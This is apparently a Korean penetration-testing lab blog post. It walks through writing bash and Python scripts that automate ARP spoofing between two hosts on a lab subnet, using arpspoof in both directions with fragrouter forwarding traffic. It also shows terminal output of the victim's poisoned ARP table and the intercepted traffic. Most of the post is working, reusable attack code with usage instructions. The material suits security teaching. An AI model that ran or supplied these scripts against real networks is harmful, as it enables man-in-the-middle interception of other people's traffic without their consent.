Linux/모의해킹

arpspoof 공격 스크립트 작성하기

GGkeeper 2022. 1. 6. 21:40

실습> arpspoof 공격 스크립트 작성하기

쉘 스크립트 : arpspoof1.sh
프로그래밍 언어 : bash shell script
사용법 : arpspoof1.sh victim1 vimtim2

파이썬 스크립트 : arpspoof2.py
프로그래밍 언어 : python
사용법 : arpspoof2.py victim1 vimtim2

Attacker# install /dev/null /bin/arpspoof1.sh
Attacker# vi /bin/arpspoof1.sh
-- /bin/arpspoof1.sh --
#!/bin/sh
# 파일명 : arpspoof1.sh
# 프로그램 설명 : arp spoofing 공격 자동화 쉘 스크립트
# 작성자 : 리눅스마스터넷

argc=$#
network=192.168.108.

if [ $argc -ne 2 ]
then
    echo "사용법 : $0 victim1 victim2"
    exit 1
fi

# $1 : 첫 번째 파라미터 victim1
# $2 : 두 번째 파라미터 victim2
arpspoof -t ${network}$1 ${network}$2 > /dev/null 2>&1 &
arpspoof -t ${network}$2 ${network}$1 > /dev/null 2>&1 &
fragrouter -B1 
pkill arpspoof
-- /bin/arpspoof1.sh --

Attacker# arpspoof1.sh 
사용법 : /usr/bin/arpspoof1.sh victim1 victim2

Attacker# arpspoof1.sh 100 105
fragrouter: base-1: normal IP forwarding

Victim2# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.108.102          ether   00:0c:29:e6:4d:4a   C                     ens33
192.168.108.105          ether   00:0c:29:e6:4d:4a   C                     ens33
192.168.108.2            ether   00:50:56:e2:02:72   C                     ens33
192.168.108.1            ether   00:50:56:c0:00:08   C                     ens33

Victim2# ping -c 4 192.168.108.105
PING 192.168.108.105 (192.168.108.105) 56(84) bytes of data.
64 bytes from 192.168.108.105: icmp_seq=1 ttl=128 time=2.09 ms
64 bytes from 192.168.108.105: icmp_seq=2 ttl=128 time=1.06 ms
64 bytes from 192.168.108.105: icmp_seq=3 ttl=128 time=0.747 ms
64 bytes from 192.168.108.105: icmp_seq=4 ttl=128 time=4.93 ms

--- 192.168.108.105 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.747/2.208/4.930/1.648 ms

다른 터미널을 열어서 프로세스를 확인하면 arpspoof 명령어가 백그라운드 프로세스로 동작되는걸 확인할 수 있다.
Attacker# ps aux | grep arp
root        6496  0.0  0.0   8728  1440 pts/1    S    07:26   0:00 arpspoof -t 192.168.108.100 192.168.108.105
root        6497  0.0  0.0   8728  1444 pts/1    S    07:26   0:00 arpspoof -t 192.168.108.105 192.168.108.100
root        6502  0.0  0.1   6184  2252 pts/4    S+   07:27   0:00 grep --color=auto arp

arpspoof1.sh 를 Ctrl + C를 눌러서 종료하면 프로세스가 종료된다.
Attacker# arpspoof1.sh 100 105
fragrouter: base-1: normal IP forwarding
192.168.108.100 > 192.168.108.105: icmp: type 8 code 0 (DF)
192.168.108.105 > 192.168.108.100: icmp: type 0 code 0 (DF)
192.168.108.100 > 192.168.108.105: icmp: type 8 code 0 (DF)
192.168.108.105 > 192.168.108.100: icmp: type 0 code 0 (DF)
^C

Attacker# ps aux | grep arp
root        6509  0.0  0.1   6184  2312 pts/4    S+   07:29   0:00 grep --color=auto arp

Attacker# install /dev/null /bin/arpspoof2.py
Attacker# vi /bin/arpspoof2.py
-- /bin/arpspoof2.py --
#!/usr/bin/env python3
# 파일명 : arpspoof2.py
# 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
# 작성자 : 리눅스마스터넷

import sys, os, signal

argc = len(sys.argv)
network = '192.168.108.'

if argc != 3:
    print(f"사용법 : {sys.argv[0]} victim1 victim2")
    sys.exit(1)

# sys.argv[1] : 첫 번째 파라미터 victim1
# sys.argv[2] : 두 번째 파라미터 victim2
attack1 = f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &'
attack2 = f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &'
attack3 = 'fragrouter -B1'
attack4 = 'pkill arpspoof'
os.system(attack1)
os.system(attack2)
os.system(attack3)
os.system(attack4)
-- /bin/arpspoof2.py --

Attacker# arpspoof2.py 100 105
fragrouter: base-1: normal IP forwarding

Victim2# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.108.102          ether   00:0c:29:e6:4d:4a   C                     ens33
192.168.108.105          ether   00:0c:29:e6:4d:4a   C                     ens33
192.168.108.2            ether   00:50:56:e2:02:72   C                     ens33
192.168.108.1            ether   00:50:56:c0:00:08   C                     ens33

Victim2# ping -c 4 192.168.108.105
PING 192.168.108.105 (192.168.108.105) 56(84) bytes of data.
64 bytes from 192.168.108.105: icmp_seq=1 ttl=128 time=3.23 ms
64 bytes from 192.168.108.105: icmp_seq=2 ttl=128 time=1.77 ms
64 bytes from 192.168.108.105: icmp_seq=3 ttl=128 time=0.549 ms
64 bytes from 192.168.108.105: icmp_seq=4 ttl=128 time=1.29 ms

--- 192.168.108.105 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 0.549/1.714/3.231/0.979 ms


Attacker# arpspoof2.py 100 105
fragrouter: base-1: normal IP forwarding
^C

Attacker ~# pkill arpspoof

'Linux > 모의해킹' 카테고리의 다른 글

Python 디버깅  (0) 2022.01.08
arpspoof2.py 분석하기  (0) 2022.01.08
ARP spoofing (스푸핑)  (0) 2022.01.06
MAC 주소 변경하기  (0) 2022.01.06
시스인터널스 툴 (Sysinternals Tools)  (0) 2022.01.05